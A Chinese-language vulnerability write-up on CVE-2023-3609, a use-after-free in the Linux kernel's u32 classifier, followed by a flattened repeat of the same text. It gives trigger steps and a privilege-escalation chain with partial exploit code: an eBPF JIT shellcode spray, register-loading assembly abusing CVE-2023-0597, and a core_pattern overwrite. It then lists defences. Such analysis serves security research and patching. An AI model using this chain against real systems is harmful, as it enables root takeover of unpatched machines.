CVE-2023-3609 Linux 内核 UAF 漏洞分析与漏洞利用
字数 2016 2025-08-24 07:48:33

Linux内核CVE-2023-3609漏洞分析与利用技术详解

漏洞概述

CVE-2023-3609是Linux内核中的一个Use-After-Free(UAF)漏洞,存在于流量控制(traffic control)子系统的u32分类器实现中。该漏洞允许本地攻击者提升权限,从普通用户权限提升到root权限。

漏洞核心问题u32_set_parms函数在异常unbind class时会减少cl的引用计数,导致其会在被引用的时候被释放。

漏洞分析

漏洞代码分析

漏洞位于net/sched/cls_u32.c文件中的u32_set_parms函数:

static int u32_set_parms(struct net *net, struct tcf_proto *tp, unsigned long base,
             struct tc_u_knode *n, struct nlattr **tb,
             struct nlattr *est, u32 flags, u32 fl_flags,
             struct netlink_ext_ack *extack)
{
    if (tb[TCA_U32_LINK]) {
        u32 handle = nla_get_u32(tb[TCA_U32_LINK]);
        struct tc_u_hnode *ht_down = NULL, *ht_old;

        if (handle) {
            ht_down = u32_lookup_ht(tp->data, handle);
            ht_down->refcnt++; // [1] 增加ht_down->refcnt
        }
        ht_old = rtnl_dereference(n->ht_down);
        rcu_assign_pointer(n->ht_down, ht_down);
        if (ht_old)
            ht_old->refcnt--;
    }

    if (tb[TCA_U32_CLASSID]) {
        n->res.classid = nla_get_u32(tb[TCA_U32_CLASSID]);
        tcf_bind_filter(tp, &n->res, base); // [2] bind class到n->res
    }

    if (tb[TCA_U32_INDEV]) {
        int ret;
        ret = tcf_change_indev(net, tb[TCA_U32_INDEV], extack);
        if (ret < 0)
            return -EINVAL;
        n->ifindex = ret;
    }
    return 0;
}

漏洞触发流程

  1. 通过u32_change新建节点n,然后进入u32_set_parms会引用cl并增加引用计数
  2. 再次进入u32_change传入handle引用上一步创建的n,会新分配new->res = n->res
  3. u32_set_parms异常,其中在bind的时候会减少cl的引用计数为0
  4. 通过drr_destroy_class释放cl,由于引用计数为0可以被释放
  5. 此时ht还保存引用了cln

详细利用步骤

  1. 分配一个drr_class (C1),此时drr_class->filter_cnt为0
  2. 通过u32_change的代码[2]分支,新建一个tc_u_knode (N1)引用C1,此时C1->filter_cnt为1,N1会被放到tp->root->ht[0]
  3. 通过u32_change的代码[1]分支,此时n = N1,代码会分配new->res = n->res = N1->res
  4. 进入u32_set_parms后会先tcf_bind_filter --> __tcf_bind_filter,由于此时n->res.class有值(C1),所以会unbind_tcf该class
  5. unbind后C1->filter_cnt = 0
  6. 然后通过传入错误的参数让tcf_change_indev失败,函数返回错误码
  7. u32_change也会由于u32_set_parms的出错直接return返回
  8. 使用tc_ctl_tclass释放C1,由于C1->filter_cnt = 0会被正常释放
  9. 通过发包进入drr_enqueue函数首先通过tcf_classify-->u32_classifytp->root->ht[0]中找到N1
  10. 然后会使用N1->res.class指针(C1),而此时C1已经被释放

漏洞利用技术

利用点分析

利用点在drr_enqueue函数:

static int drr_enqueue(struct sk_buff *skb, struct Qdisc *sch,
               struct sk_buff **to_free)
{
    unsigned int len = qdisc_pkt_len(skb);
    struct drr_sched *q = qdisc_priv(sch);
    cl = drr_classify(skb, sch, &err);
    first = !cl->qdisc->q.qlen;
    err = qdisc_enqueue(skb, cl->qdisc, to_free);
    return err;
}

qdisc_enqueue里面会调用cl->qdisc->enqueue,可以通过控制cl的内容实现代码执行。

利用技术详解

  1. 堆喷shellcode

    • 使用eBPF指令在内核中布置shellcode
    • 通过setsockopt分配bpf指令:
      struct sock_fprog prog = {
          .len = TSIZE,
          .filter = filter,
      };
      for(int i=0;i<NUM;i++){
          int fd[2];
          SYSCHK(socketpair(AF_UNIX,SOCK_DGRAM,0,fd));
          SYSCHK(setsockopt(fd[0],SOL_SOCKET,26,&prog,sizeof(prog)));
      }
      
    • 使用特殊的BPF指令构造nop sled和shellcode:
      struct sock_filter table[] = {
          {.code = BPF_LD + BPF_K, .k = 0xb3909090},
          {.code = BPF_LD + BPF_K, .k = 0xb3909090}
      };
      
    • JIT编译后的指令会被解析为:
      90 nop
      b3 b8 mov bl, 0xb8
      90 nop
      90 nop
      90 nop
      b3 b8 mov bl, 0xb8
      
  2. 控制RIP

    • 通过跳转到JIT代码中间位置执行shellcode
    • 堆喷大量"nop指令"+shellcode,使0xffffffffcc000800指向nop指令中间
    • 跳转过去就能执行到shellcode
  3. 在内核固定地址伪造qdisc

    • 利用CVE-2023-0597在cpu_entry_area处布置数据伪造cl->qdisc->enqueue
    • 使用如下汇编代码触发异常:
      foo:
          mov rsp,rdi
          pop r15
          pop r14
          pop r13
          pop r12
          pop rbp
          pop rbx
          pop r11
          pop r10
          pop r9
          pop r8
          pop rax
          pop rcx
          pop rdx
          pop rsi
          pop rdi
          div qword [0x1234000] ; trigger div 0 exception
      
    • 用户态触发异常,内核会把用户态寄存器的值放到cpu_entry_area区域
    • 劫持cl->qdisc到cpu_entry_area,控制cl->qdisc->enqueue = 0xffffffffcc000800
  4. shellcode功能

    • 通过rdmsr指令获取内核地址
    • 利用copy_from_user修改core_pattern
    • 用户态触发core_pattern实现提权

防御措施

  1. 及时更新内核,应用官方补丁
  2. 启用内核地址空间布局随机化(KASLR)
  3. 限制普通用户使用eBPF的能力
  4. 启用SMAP/SMEP保护
  5. 使用漏洞防护机制如PAN, KPTI等

总结

CVE-2023-3609漏洞展示了Linux内核中引用计数管理不当可能导致的安全问题。该漏洞利用结合了多种高级技术:

  1. 利用eBPF指令在内核中布置shellcode
  2. 通过JIT代码中间跳转绕过地址随机化
  3. 利用其他漏洞(CVE-2023-0597)在内核固定地址布置数据
  4. 精心构造的引用计数操作实现UAF

这种复杂的利用链展示了现代内核漏洞利用的高度技术性,也强调了全面防御策略的重要性。

Linux内核CVE-2023-3609漏洞分析与利用技术详解 漏洞概述 CVE-2023-3609是Linux内核中的一个Use-After-Free(UAF)漏洞,存在于流量控制(traffic control)子系统的u32分类器实现中。该漏洞允许本地攻击者提升权限,从普通用户权限提升到root权限。 漏洞核心问题 : u32_set_parms 函数在异常unbind class时会减少cl的引用计数,导致其会在被引用的时候被释放。 漏洞分析 漏洞代码分析 漏洞位于 net/sched/cls_u32.c 文件中的 u32_set_parms 函数: 漏洞触发流程 通过 u32_change 新建节点 n ,然后进入 u32_set_parms 会引用 cl 并增加引用计数 再次进入 u32_change 传入handle引用上一步创建的 n ,会新分配 new->res = n->res 让 u32_set_parms 异常,其中在bind的时候会减少 cl 的引用计数为0 通过 drr_destroy_class 释放 cl ,由于引用计数为0可以被释放 此时 ht 还保存引用了 cl 的 n 详细利用步骤 分配一个 drr_class (C1),此时 drr_class->filter_cnt 为0 通过 u32_change 的代码[ 2]分支,新建一个 tc_u_knode (N1)引用C1,此时C1->filter_ cnt为1,N1会被放到 tp->root->ht[0] 中 通过 u32_change 的代码[ 1]分支,此时 n = N1 ,代码会分配 new->res = n->res = N1->res 进入 u32_set_parms 后会先 tcf_bind_filter --> __tcf_bind_filter ,由于此时 n->res.class 有值(C1),所以会 unbind_tcf 该class unbind后C1->filter_ cnt = 0 然后通过传入错误的参数让 tcf_change_indev 失败,函数返回错误码 u32_change 也会由于 u32_set_parms 的出错直接return返回 使用 tc_ctl_tclass 释放C1,由于C1->filter_ cnt = 0会被正常释放 通过发包进入 drr_enqueue 函数首先通过 tcf_classify --> u32_classify 在 tp->root->ht[0] 中找到N1 然后会使用N1->res.class指针(C1),而此时C1已经被释放 漏洞利用技术 利用点分析 利用点在 drr_enqueue 函数: qdisc_enqueue 里面会调用 cl->qdisc->enqueue ,可以通过控制 cl 的内容实现代码执行。 利用技术详解 堆喷shellcode : 使用eBPF指令在内核中布置shellcode 通过 setsockopt 分配bpf指令: 使用特殊的BPF指令构造nop sled和shellcode: JIT编译后的指令会被解析为: 控制RIP : 通过跳转到JIT代码中间位置执行shellcode 堆喷大量"nop指令"+shellcode,使0xffffffffcc000800指向nop指令中间 跳转过去就能执行到shellcode 在内核固定地址伪造qdisc : 利用CVE-2023-0597在cpu_ entry_ area处布置数据伪造 cl->qdisc->enqueue 使用如下汇编代码触发异常: 用户态触发异常,内核会把用户态寄存器的值放到cpu_ entry_ area区域 劫持 cl->qdisc 到cpu_ entry_ area,控制 cl->qdisc->enqueue = 0xffffffffcc000800 shellcode功能 : 通过 rdmsr 指令获取内核地址 利用 copy_from_user 修改 core_pattern 用户态触发 core_pattern 实现提权 防御措施 及时更新内核,应用官方补丁 启用内核地址空间布局随机化(KASLR) 限制普通用户使用eBPF的能力 启用SMAP/SMEP保护 使用漏洞防护机制如PAN, KPTI等 总结 CVE-2023-3609漏洞展示了Linux内核中引用计数管理不当可能导致的安全问题。该漏洞利用结合了多种高级技术: 利用eBPF指令在内核中布置shellcode 通过JIT代码中间跳转绕过地址随机化 利用其他漏洞(CVE-2023-0597)在内核固定地址布置数据 精心构造的引用计数操作实现UAF 这种复杂的利用链展示了现代内核漏洞利用的高度技术性,也强调了全面防御策略的重要性。